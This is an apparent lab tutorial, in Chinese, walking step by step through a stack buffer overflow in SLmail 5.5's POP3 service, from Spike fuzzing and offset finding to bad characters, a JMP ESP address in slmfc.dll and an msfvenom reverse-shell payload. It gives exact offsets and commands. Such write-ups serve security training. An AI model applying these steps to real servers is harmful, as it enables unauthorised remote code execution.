Seattle Lab Mail (SLmail) 5.5 中的缓冲区溢出 - POP3
基于栈的简单缓冲区溢出(逐步讲解)
首先,我们将使用一个简单的 Spike 脚本对应用程序进行模糊测试
同时,我们也会让 SLmail 附加到 Immunity Debugger 上[并运行]
更多关于 Spike:: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
这里是一个名为 spike_fuzz.spk 的简单 Spike 脚本
我们将使用以下命令对应用程序运行它
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
其中 192.168.1.117 是运行 SLMail 的目标机器的 IP,它运行在 110 端口

同时,如果我们查看 Immunity,会看到应用程序已经崩溃

现在我们将创建一个 Python POC,用于重现崩溃并计算应用程序崩溃时所在的字节
python poc_crash.py

为了查找偏移量,我们将使用 msf
1. First Generate a pattern
2. Note the EIP
3. Query that EIP and Length with MSF to Find the Offset
msf-pattern_create -l 2700

在 poc_offset.py 中,我们将使用这个 pattern 作为溢出缓冲区!
python poc_offset.py

此时,我们还在 Immunity 中记下应用程序崩溃并暂停时的 EIP 值

EIP is 39694438
::For Finding Offset::
msf-pattern_offset -l 2700 -q 39694438

offset 是 2606,意味着我们到达 EIP 之前有 2606 字节::: 且 EIP 本身长 4 字节
现在我们将尝试用 4 个 B 覆盖 EIP,即:: 在 Immunity 中我们应该看到 42424242 {4 个 B 的十六进制}
python poc_eip_control.py

现在如果我们检查 Immunity

为了简单起见
你可以运行 poc_badchars.py 脚本,然后自己查找坏字符
为了简短起见
这个应用程序有两个坏字符 {也是默认的},当我们第一次运行 poc_badchars.py 时,我们会看到字符 \x0a 有问题,然后我们将其从坏字符载荷中移除并再次运行脚本,,,第二次我们会看到字符 \x0d 被跳过,所以这是我们的第二个坏字符,我们将其从载荷中移除 :: 之后,当我们第三次运行脚本时,一切正常!!
badchars are :: \x00\x0a\x0d
{nullbyte, Line feed, carriage return}
python poc_badchars.py
首先我们使用 Immunity 中的 Mona 模块找到正确的模块
slmfc.dll is the most appropriate candidate as it does not have memory protections!

现在我们在这个 DLL 中查找一个 JMP ESP 地址
这个地址将被写入 EIP,这样我们就能将程序执行重定向到 ESP,从而执行我们的 shellcode!
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 opcode equivalent of JMP ESP}

从 19 个指针地址中,我们选择第一个
现在我们将所有内容组合在一起并弹出一个 Shell
1.) generate the shell code {excluding badchars}
2.) adding the address we Found {remeber Little Endian}
3.) Add the buffer , return address, some nop-sleds, shellcode
4.) we have a shell
让我们使用 msfvenom 快速生成 shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

我们将所有内容组合到 exploit.py 文件中

这次我们不带 Immunity 运行 SLmail,同时监听传入连接
完成之后,我们将运行最终的 exploit.py 脚本!

太棒了,我们得到了一个 Shell!